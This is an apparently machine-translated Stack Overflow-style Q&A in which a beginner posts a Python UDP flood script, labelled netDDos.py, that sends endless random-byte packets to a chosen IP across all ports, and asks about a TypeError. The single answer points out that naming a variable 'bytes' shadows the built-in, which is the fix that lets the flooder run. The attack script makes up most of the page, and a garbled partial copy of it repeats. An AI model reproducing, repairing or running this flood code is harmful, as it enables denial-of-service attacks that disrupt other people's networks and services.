TypeError:使用sock.sendto()时无法调用'bytes'对象>> [

问题描述 投票:0回答:1
import sys import os import socket import random import time import ipaddress sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1490) print("\033[1;31;40m Executing netDDos.py") os.system("clear") print("\033[1;31;40m ▄ ▄███▄ ▄▄▄▄▀ ██▄ ██▄ ████▄ ▄▄▄▄▄ ") print("\033[1;31;40m █ █▀ ▀ ▀▀▀ █ █ █ █ █ █ █ █ ▀▄ ") print("\033[1;31;40m██ █ ██▄▄ █ █ █ █ █ █ █ ▄ ▀▀▀▀▄ ") print("\033[1;31;40m█ █ █ █▄ ▄▀ █ █ █ █ █ ▀████ ▀▄▄▄▄▀ ") print("\033[1;31;40m█ █ █ ▀███▀ ▀ ███▀ ███▀ ") print("\033[1;31;40m█ ██ ") print("Written by Hydra | lua") print(" ") ip = input("IP Target: ") port = int(input("Port: ")) os.system("clear") os.system("figlet Attack Starting") print("[ ] 0%") time.sleep(1) print("[==== ] 25%") time.sleep(1) print("[========== ] 50%") time.sleep(1) print("[=============== ] 75%") time.sleep(1) print("[====================] 100%") time.sleep(1) sent = 0 while True: sock.sendto(bytes(int(ipaddress.IPv4Address(ip)), port)) sent = sent + 1 port = port + 1 print("Sent %s packet to %s through port:%s"%(sent, ip, port)) if port == 65534: port = 1
错误消息是:

sock.sendto(bytes(int(ipaddress.IPv4Address(ip)),端口)TypeError:“字节”对象不可调用

我对Python很陌生,这是我第一次在StackOverflow上提问。目的只是尝试使用我的本地网络。

import sys import os import socket import随机导入时间import ipaddress sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)字节= random._urandom(1490)print(“ \ 033 [1; 31; 40m正在执行.. 。

python python-3.x sockets byte ddos
1个回答
0
投票
您通过给自己的变量指定名称来覆盖内置类型bytes。别称它。
© www.soinside.com 2019 - 2024. All rights reserved.